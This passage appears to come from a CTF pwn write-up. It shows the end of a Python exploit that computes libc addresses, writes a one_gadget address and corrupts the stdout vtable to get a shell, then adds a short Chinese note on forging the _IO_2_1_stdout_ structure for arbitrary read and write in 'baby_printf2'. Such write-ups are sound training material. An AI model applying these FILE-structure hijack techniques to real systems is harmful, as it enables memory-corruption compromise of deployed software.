0x5d5700     log.success("tls = %s"%hex(tls))     one = libc_base + 0xf02a4     log.success("one = %s"%hex(one))     vtable = libc_base + 0x3c56f8     log.success("vtable = %s"%hex(vtable))     io_stdout = libc_base + 0x3c5620     log.success("io_stdout = %s"%hex(io_stdout))     target = libc_base + 0x3c44e0 + 0x18     log.success("target = %s"%hex(target))     to_write(target,one&0xff)     to_write(target+1,(one>>8)&0xff)     to_write(target+2,(one>>16)&0xff)     to_write(vtable+1,(target>>8)&0xff)     to_write(io_stdout+0x28,0xff)     irt() 
 
baby_printf2 stdout地址可控,可以通过伪造__IO_STDOUT_2_1_实现任意地址写,任意地址读。
heapstorm